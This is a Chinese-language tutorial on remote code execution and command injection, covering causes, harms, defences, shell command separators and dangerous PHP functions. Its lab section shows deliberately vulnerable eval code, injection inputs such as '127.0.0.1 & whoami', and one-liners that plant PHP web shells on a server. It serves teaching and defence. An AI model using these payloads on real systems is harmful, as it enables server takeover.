文章目录:
一:前言
1.定义
RCE(Remote Code Execution,远程代码执行)它允许攻击者通过利用“软件中”的漏洞,在目标系统主机上远程执行任意代码
2.原理
RCE漏洞的产生通常源于应用程序在处理用户输入时未能正确校验和过滤输入数据 当应用程序直接将用户的输入内容作为系统命令或代码的一部分执行时 如果输入数据未经严格验证或转义,攻击者就有可能注入并执行恶意代码,进而控制目标系统
产生的原因
输入验证不足: 应用程序未能严格校验和过滤用户输入的数据,导致攻击者可以注入恶意代码 输入数据未进行必要的转义处理,使得特殊字符能够引发命令注入或代码注入 不安全的函数使用: 应用程序中使用了允许执行系统命令的函数,如PHP中的exec(), system(), passthru(), shell_exec()等,却未对传入的参数进行适当的安全处理 这些函数在接收到恶意输入时,会执行攻击者注入的代码 配置不当: 服务器或应用的配置错误,如错误地开启了危险的特性或服务,允许外部输入影响内部执行逻辑 这种配置错误为攻击者提供了利用漏洞的机会 代码逻辑缺陷: 应用逻辑设计不当,使得攻击者可以通过特定操作序列绕过原有的安全控制 这些缺陷可能包括未处理的异常、不安全的反序列化、越界写入等 软件或系统缺陷: 软件或系统中存在的已知漏洞,如未修复的bug或安全更新未应用的补丁 这些漏洞为攻击者提供了执行远程代码的机会 第三方组件或库的问题: 应用程序使用的第三方库或组件存在已知的RCE漏洞 如果这些组件或库未经充分测试或更新,就可能成为攻击者的攻击目标
3.类型
远程系统命令执行: 应用系统从设计上需要给用户提供指定的远程命令操作的接口(如ping、路由器、防火墙、入侵检测等设备的Web管理界面) 如果设计者在实现这些功能时未做严格的安全控制,攻击者可能通过该接口提交恶意命令,让后台服务器执行,从而控制整个后台服务器 远程代码执行: 后台有时会将用户的输入作为代码的一部分进行执行,这可能导致远程代码执行漏洞 常见的代码执行函数包括eval()、assert()、system()等,以及不安全的反序列化操作
4.漏洞的利用方式
攻击者通常会通过精心构造的数据包或请求来触发RCE漏洞,将恶意输入内容通过网络发送到目标系统 目标系统在处理这些恶意输入时,会执行攻击者注入的代码,从而允许攻击者获取远程访问权限,进一步控制系统
5.危害
完全控制目标系统:攻击者通过RCE漏洞可以执行任意代码,从而完全控制目标系统 这意味着攻击者可以执行系统上的任何操作,包括但不限于文件操作、进程管理、网络配置等 植入恶意软件:攻击者可以在目标系统上植入恶意软件,如病毒、木马等,以进一步控制或破坏系统 窃取敏感数据:攻击者可以通过RCE漏洞读取目标系统上的敏感数据,如用户凭证、密码、数据库信息等 这些数据一旦泄露,可能导致严重的隐私泄露和财产损失 篡改数据:攻击者还可以篡改目标系统上的数据,包括用户信息、交易记录等 数据篡改可能导致业务中断、法律纠纷等后果 拒绝服务攻击:攻击者可以利用RCE漏洞占用目标系统的资源,如CPU、内存等,导致系统无法响应正常的服务请求 这种攻击方式被称为拒绝服务攻击(DoS),它可能导致业务中断和用户体验下降 执行大规模计算任务:攻击者还可以利用RCE漏洞在目标系统上执行大规模的计算任务,如挖矿等 这些任务会消耗大量的系统资源,导致业务运行缓慢甚至完全不可用 植入后门:攻击者可以在目标系统中植入后门,以便在需要时重新获得对系统的访问权限 这种持久化的驻留方式使得攻击者能够持续监控和控制目标系统 横向移动:一旦攻击者成功控制了一个系统,他们可能会尝试利用该系统中的漏洞或凭据来攻击其他系统 这种横向移动的方式使得攻击者能够在组织内部网络中进一步渗透和扩散 收集系统信息:攻击者可以利用RCE漏洞收集目标系统的信息,如操作系统版本、网络配置、安装的软件等 这些信息有助于攻击者更好地了解目标系统,并为其后续的攻击做准备 侦察内部网络:攻击者还可以利用RCE漏洞扫描目标系统所在的内部网络,以发现其他潜在的漏洞或目标 这种侦察行为增加了清除攻击的难度和成本 提升权限:攻击者可能利用RCE漏洞提升在目标系统上的权限,从而绕过现有的安全防护措施 这种权限提升的行为使得防御和检测更加困难 规避安全措施:攻击者还可以利用RCE漏洞来规避目标系统上的安全措施,如防火墙、入侵检测系统等 这些安全措施一旦被绕过,攻击者就可以更加自由地执行恶意操作
6.防范措施
严格校验和过滤用户输入: 使用白名单机制,只允许合法的字符和格式 对输入数据进行转义,防止特殊字符引发命令注入或SQL注入 使用安全的库和函数: 避免直接使用用户输入作为系统命令或代码的一部分 使用参数化查询或ORM处理数据库操作,防止SQL注入 应用程序以最小权限运行: 限制应用程序的权限,即使攻击者成功执行代码也无法获得更高权限 保持系统和应用程序的更新: 及时修补已知漏洞,关注安全公告和漏洞数据库 进行代码审计和安全测试: 定期对代码进行审计,发现潜在的安全漏洞 使用漏扫工具进行安全测试,及时发现并修复漏洞
7.命令分隔符
7.1 Windows系统
Windows | | | 管道符,先执行A后,将A的结果作为B的输入,打印的是B的结果 | ping 127.0.0.1 | whoami |
|| | 先执行A,如果失败,执行B | ping 127.0.0.1 || whoami | |
& | 先执行A,然后不管成功与否,执行B | ping 127.0.0.1 & whoami | |
&& | 先执行A,如果成功,执行B | ping 127.0.0.1 && whoami |
7.2 Linux系统
LINUX | ; | 按顺序执行 | ping 127.0.0.1 ; whoami |
| | 管道符,先执行A后,将A的结果作为B的输入,打印的是B的结果 | ||
|| | 先执行A,如果失败,执行B | ||
& | 先执行A,然后不管成功与否,执行B | ||
&& | 先执行A,如果成功,执行B | ||
%0a | 换行符,执行完前面语句后继续执行后面语句 | ||
? | 模糊匹配单个字符,如viper可用vi?er替代 | ||
* | 模糊匹配多个字符,如viper可用*er替代 | ||
[a-z0-9] | 匹配[] 中的任意字符 |
8.常用系统命令
8.1 Windows系统
dir:列出当前目录下的文件和子目录 | dir |
cd:切换当前目录 | cd C:\Windows\System32 |
mkdir:创建一个新目录 | mkdir NewFolder |
copy:复制文件或目录 | copy file.txt destination_folder |
move:移动文件或目录 | move file.txt destination_folder |
del:删除文件 | del file.txt |
rmdir:删除空目录 | rmdir empty_folder |
ren:重命名文件或目录 | ren old_name new_name |
tasklist:显示当前正在运行的进程列表 | tasklist |
taskkill:结束指定的进程 | taskkill /IM process_name.exe |
ipconfig:显示当前网络配置信息 | ipconfig |
ping:测试与目标主机的网络连接 | ping www.example.com |
netstat:显示网络连接和端口状态 | netstat -a |
systeminfo:显示系统详细信息 | systeminfo |
chkdsk:检查磁盘驱动器的错误并修复 | chkdsk C |
8.2 Linux系统
ls:列出当前目录下的文件和子目录 | ls |
cd:切换当前目录 | cd /home/user/Documents |
mkdir:创建一个新目录 | mkdir new_folder |
cp:复制文件或目录 | cp file.txt destination_folder |
mv:移动文件或目录,或者重命名文件或目录 | mv old_name new_name |
rm:删除文件或目录 | rm file.txt |
rmdir:删除空目录 | rmdir empty_folder |
cat:显示文件内容 | cat file.txt |
grep:在文本中搜索匹配特定模式的行 | grep "pattern" file.txt |
chmod:修改文件或目录的权限 | chmod 755 file.txt |
chown:更改文件或目录的所有者 | chown user:group file.txt |
ps:查看当前运行的进程 | ps aux |
kill:终止指定的进程 | kill process_id |
ifconfig:显示网络接口配置信息 | ifconfig |
ping:测试与目标主机的网络连接 | ping www.example.com |
df:显示文件系统使用情况 | df -h |
du:计算目录或文件的磁盘使用情况 | du -sh directory |
whoami:用来显示当前会用用户名称 | whoami --help whoami --version 等价于id -un |
pwd:显示当前所在工作目录的全路径 | pwd |
9.常用函数
9.1 代码执行函数
eval() | 将字符串当做函数进行转换 执行一个字符串表达式,并返回表达式的值 |
计算表达式 eval(phpinfo()); |
assert() | 判断是否为字符串 检查一个表达式是否为true,如果不是则抛出一个警告 | $expression = '1 == 1'; 不会引发警告,因为表达式为真 $code = 'echo "This is a test";'; 会执行 $code 中的代码 |
popen() | 用于打开进程文件指针 | $handle = popen('ls -l', 'r'); if ($handle) { while (!feof($handle)) { $buffer = fgets($handle); echo $buffer . "\n"; } pclose($handle); } |
proc_open() | 执行一个命令,并且打开用来输入/输出的文件指针 | $process = proc_open('ls -l', $descriptorspec, $pipes); |
${} | 中间的php代码会被解析 | ${phpinfo()}; |
9.2 命令执行函数
system() | 执行系统命令,并且将其输出 | system("dir"); $return_var = null; 输出,同时 |
exec() | 用于执行外部命令的函数 它不会输出结果,而是返回结果的最后一行 | exec("print('Hello, exec!')") echo exec($_GET['cmd’]) |
shell_exec() | 通过 shell 环境执行命令,并将完整的输出作为字符串返回 | $output = shell_exec('pwd'); echo "<pre>$output</pre>"; 返回当前工作目录的路径 |
passthru() | 执行外部命令,并将原始输出直接输出到浏览器 | $return_var = null; passthru('ls -l', $return_var); echo "Return status: " . $return_var; |
反引号 ``函数 | 执行外部命令并获取其输出 | $output = `ls -la`; echo "<pre>$output</pre>"; |
二:靶场练习
例子1
PHP代码: <?php $code=$_GET['x']; eval($code); ?> 查看phpinfo的界面 localhost/index.php?x=phpinfo(); 输出666 localhost/index.php?x=echo%20666;
例子2
ping设备输入框。命令注入漏洞
输入框中输入:127.0.0.1 //ip地址 输入框中输入:127.0.0.1 & ls //查看当前目录下的文件 输入框中输入:127.0.0.1 & whoami 输入框中输入:127.0.0.1 & ipconfig
www.baidu.com&dir
例子3
输入一串用于写入Webshell的代码:“fputs(fopen('shell.php','w'),'<?php assert($_POST[cmd]);?>');” 会在服务器上生成一个名为shell.php的文件 攻击者可以通过这个文件远程执行任意命令,从而完全控制目标服务器
例子4
system('echo "<?php eval($_REQUEST[a]);?>" > 123.php'); //允许执行任意的PHP代码,建个文件 system("dir"); //在服务器上执行dir命令, 查看生成的文件